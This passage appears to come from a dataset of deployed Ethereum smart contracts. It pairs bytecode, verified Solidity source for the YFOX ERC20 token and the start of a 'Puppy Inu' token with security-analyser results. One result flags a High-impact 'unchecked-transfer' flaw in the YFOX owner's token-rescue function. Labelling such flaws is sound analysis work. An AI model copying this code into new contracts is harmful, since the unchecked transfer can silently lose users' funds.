ffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061096284848461160b565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610aa057600080fd5b610b2f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cc90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b610ca26117d5565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610d6e82826117dd565b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc26117d5565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110075780601f10610fdc57610100808354040283529160200191611007565b820191906000526020600020905b815481529060010190602001808311610fea57829003601f168201915b5050505050905090565b6110196117d5565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6110e5828261192f565b5050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561112457600080fd5b6111b382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600061132b33848461160b565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113c46117d5565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611486576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561150c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611a826026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284019050838110156115e157600080fd5b8091505092915050565b6000828211156115fa57600080fd5b600082840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561164557600080fd5b611696816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611729816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cc90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561181757600080fd5b61182c816002546115cc90919063ffffffff16565b600281905550611883816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cc90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561196957600080fd5b61197e816002546115eb90919063ffffffff16565b6002819055506119d5816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220bde12d43c5255a5f86c1bef43c23b7c33ebc234db5448ac1e16636286a0c07ab64736f6c634300060a0033
{"success": true, "error": null, "results": {}}
6,828
0xbd53c475a9bbb6393102b23110bfbee69b6be5c5
/** *Submitted for verification at Etherscan.io on 2020-09-21 */ pragma solidity 0.5.17; // Telegram News : https://t.me/YFOX_Announcement // Twitter : https://twitter.com/yfoxfinance // Website : https://yfox.finance /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0) && _to != address(this)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0) && _to != address(this)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, bytes calldata _extraData) external; } contract YFOX is StandardToken, Ownable { string public constant name = "YFOX.FINANCE"; string public constant symbol = "YFOX"; uint public constant decimals = 6; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 23000 * (10 ** uint256(decimals)); // Constructors constructor () public { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner emit Transfer(address(0), msg.sender, initialSupply); } function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData) external returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, _extraData); return true; } } function transferAnyERC20Token(address _tokenAddress, address _to, uint _amount) public onlyOwner { ERC20(_tokenAddress).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063d493b9ac11610066578063d493b9ac1461057a578063d73dd623146105e8578063dd62ed3e1461064e578063f2fde38b146106c657610100565b80638da5cb5b1461038c57806395d89b41146103d6578063a9059cbb14610459578063cae9ca51146104bf57610100565b8063313ce567116100d3578063313ce56714610292578063378dc3dc146102b057806366188463146102ce57806370a082311461033457610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d61070a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610743565b604051808215151515815260200191505060405180910390f35b6101f6610835565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083b565b604051808215151515815260200191505060405180910390f35b61029a610b5d565b6040518082815260200191505060405180910390f35b6102b8610b62565b6040518082815260200191505060405180910390f35b61031a600480360360408110156102e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b6e565b604051808215151515815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dff565b6040518082815260200191505060405180910390f35b610394610e48565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103de610e6e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041e578082015181840152602081019050610403565b50505050905090810190601f16801561044b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104a56004803603604081101561046f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea7565b604051808215151515815260200191505060405180910390f35b610560600480360360608110156104d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561051c57600080fd5b82018360208201111561052e57600080fd5b8035906020019184600183028401116401000000008311171561055057600080fd5b90919293919293905050506110b3565b604051808215151515815260200191505060405180910390f35b6105e66004803603606081101561059057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111af565b005b610634600480360360408110156105fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112d1565b604051808215151515815260200191505060405180910390f35b6106b06004803603604081101561066457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114cd565b6040518082815260200191505060405180910390f35b610708600480360360208110156106dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611554565b005b6040518060400160405280600c81526020017f59464f582e46494e414e4345000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156108a557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b6108ae57600080fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061098183600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1683600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6c83826116a890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600681565b6006600a0a6159d80281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c7f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d13565b610c9283826116a890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f59464f580000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f1157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610f1a57600080fd5b610f6c82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bf90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808590506110c38686610743565b156111a5578073ffffffffffffffffffffffffffffffffffffffff1663a2d57853338787876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b15801561118357600080fd5b505af1158015611197573d6000803e3d6000fd5b5050505060019150506111a7565b505b949350505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461120957600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561129057600080fd5b505af11580156112a4573d6000803e3d6000fd5b505050506040513d60208110156112ba57600080fd5b810190808051906020019092919050505050505050565b600061136282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115ae57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115e857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156116b457fe5b818303905092915050565b6000808284019050838110156116d157fe5b809150509291505056fea265627a7a72315820115bd4787afcaf666c4661082747872ebba4a9e059f825de36601e0c82a20f7064736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
6,829
0xB807198B81026344c8420585FC1AADbc309f5661
// https://t.me/puppyinu_eth // SPDX-License-Identifier: GPL-3.0 pragma solidity >0.8.2; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function 